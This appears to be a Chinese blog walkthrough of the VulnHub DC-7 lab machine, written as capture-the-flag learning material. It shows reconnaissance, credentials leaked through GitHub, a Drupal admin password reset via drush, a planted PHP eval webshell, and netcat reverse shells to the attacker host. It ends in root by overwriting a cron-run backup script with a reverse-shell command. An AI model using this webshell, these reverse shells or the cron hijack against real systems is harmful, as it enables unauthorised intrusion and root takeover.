VulnHub仿真靶机渗透之DC-7 【DC系列】


这次渗透是DC系列(VulnHub的仿真靶机)的DC-7,包含了Drupal利用drush重置网站管理员密码、一句话木马Getshell、定时任务提权等知识。

VulnHub靶机渗透之DC-7 【DC系列】

dc7靶机下载链接:

https://www.vulnhub.com/entry/dc-7,356/

运行系统:kali+ dc-7

平台:vmware workstation

网络:均使用nat

任务:拿到root权限,找到flag

提示:

1647339782050

主机发现 ->dc7靶机192.168.124.137

arp-scan -l

1647326715697

nmap完整扫描:22、80端口开放

nmap -A -T4 192.168.124.137 -p1-65535

1647326963755

看了看robots.txt,没啥可以利用的。

1647339133261

把上次hosts文件里面写的删掉,因为这个靶机的url也是http://wordy,就冲突了。

1647330143470

是个Drupal的cms,还泄露了作者姓名。

1647330480176

exploitdb搜索一下drupal8的漏洞

1647339235348

挨个试了一下都不行。

网站作者入手 @DC7USER

想到作者在下载页面提示过我们说这个靶机的重点不在盒子里,是在盒子外面,

而版权作者是DC7USER,那么会不会跟这个有关呢?

百度搜索一下 @DC7USER,点进他写的项目查看

1647335603963

1647331098848

确实是给我们留下的暗示

1647331113848

ssh账号密码信息泄露

看看配置文件,发现了用户和密码。

1647331141658

<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

web网页登录失败了,但是22ssh端口开放着的,用这个账户和密码尝试一下ssh登录

1647331365952

1647332332536

ssh dc7user@192.168.124.137 

提示从mail入手,找到定时任务

搜了一下mail

find / -name mail 2>/dev/null

1647332817115

1647333365863

是个定时任务 cron

1647334156407

在邮件中查看到/opt/scripts/backups.sh脚本文件,而且仔细观察可以发现邮件是间隔15min发一次的,也就是说backups.sh脚本文件15min分钟运行一次。

查看一下该shell脚本的权限,可以看到backups.sh脚本文件以root和www-data运行在同一组中,可以全权限执行。【只能 root 用户和 www-data 写入】

【以www-data权限可以对backups.sh脚本进行操作,如果向backups.sh脚本写入恶意代码,当backups.sh脚本以root身份运行时我们就可以得到root权限。】

1647334528476

dc7user@dc-7:/opt/scripts$ ls -l /opt/scripts/backups.sh
-rwxrwxr-x 1 root www-data 520 Aug 29 2019 /opt/scripts/backups.sh
是个普通文件、文件拥有者root的的权限是读、写、执行、文件所属组拥有的权限是读、写、执行



文件属性字段总共有10个字母组成;第一个字符代表文件的类型。
字母“-”表示该文件是一个普通文件
字母“d”表示该文件是一个目录,字母"d",是dirtectory(目录)的缩写
注意:目录或者是特殊文件,这个特殊文件存放其他文件或目录的相关信息
字母“l”表示该文件是一个链接文件。字母"l"是link(链接)的缩写,类似于windows下的快捷方式
字母“b”的表示块设备文件(block),一般置于/dev目录下,设备文件是普通文件和程序访问硬件设备的入口,是很特殊的文件。没有文件大小,只有一个主设备号和一个辅设备号。一次传输数据为一整块的被称为块设备,如硬盘、光盘等。最小数据传输单位为一个数据块(通常一个数据块的大小为512字节)
字母为“c”表示该文件是一个字符设备文件(character),一般置于/dev目录下,一次传输一个字节的设备被称为字符设备,如键盘、字符终端等,传输数据的最小单位为一个字节。
字母为“p”表示该文件为命令管道文件。与shell编程有关的文件。
字母“s”表示该文件为sock文件。与shell编程有关的文件。

第1字符的后面9个字母表示该文件或目录的权限位。
r表是读 (Read) 、w表示写 (Write) 、x表示执行 (eXecute)
其中前三个表示文件拥有者的权限,中间三个表示文件所属组拥有的权限,最后三个表示其他用户拥有的权限。

查看计划任务,写入反弹shell,发现没有权限【这个图找的别人博客的】

1647336548458

具体看看/opt/scripts/backups.sh脚本内容

cat /opt/scripts/backups.sh

1647334237331

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

【drupal默认存在admin用户】定时任务中发现网站存在drush,可以重置admin用户密码

里面有个drush命令

drush sql-dump --result-file=/home/dc7user/backups/website.sql

drush是一个管理drupal网站的命令行工具。

1647335153881

1647335381803

1647335530275

drush命令可以修改用户密码,而drupalCMS默认存在admin账户,我们可以通过drush修改admin账户的密码,进而登录网站。

cd /var/www/html/
drush user-password admin --password=123456

修改密码后,admin登录网站成功,首页写入php的一句话木马

admin/123456登录成功

1647336262019

在Content—>Add content–>Basic page下可以创建文件,原本准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入,我们可以下载插件。

1647336688269

1647336642762

1647337010009

https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

1647337083156

安装成功

1647337042050

安装后激活模块

1647337212399

安装成功,php可以写了

1647337238057

1647337287061

<?php
@eval($_REQUEST[shell]);
?>

1647337371017

emm,没找到创建的文件的路径。还是写到首页吧

1647337544799

1647337767786

蚁剑连接成功

1647337816281

反弹www-data的shell

kali监听1234端口

nc -lvp 1234

1647337980609

反弹shell到kali

nc 192.168.124.134 1234 -e /bin/bash

1647338022664

使用python进入完全交互的shell

python -c 'import pty;pty.spawn("/bin/bash")'

1647338125195

定时任务写入,反弹root用户的的shell

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

echo "nc 192.168.124.134 6666 -e /bin/bash" > /opt/scripts/backups.sh

1647338422534

kali监听6666端口,过了一会儿反弹成功

1647338389641

1647338532951

总结:

Github泄露网站数据库配置信息导致泄露SSH账号密码
Drupal利用drush重置网站管理员密码
网站写入php一句话木马Getshell
定时任务文件写入恶意代码进行提权

参考链接:

https://blog.csdn.net/sjzs5590/article/details/8254527 【 linux ls -l 详解 】

VULNHUB-DC7复现 【星期五实验室 】

Vulnhub-DC7 【龙蜀安全】

https://blog.csdn.net/weixin_43583637/article/details/102809227 【Vulnhub靶机实战——DC-7】

https://www.cnblogs.com/SecIN/p/15504606.html 【[VulnHub-[DC-1-7]-系列通关手册】


文章作者: highgerms
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 highgerms !
  目录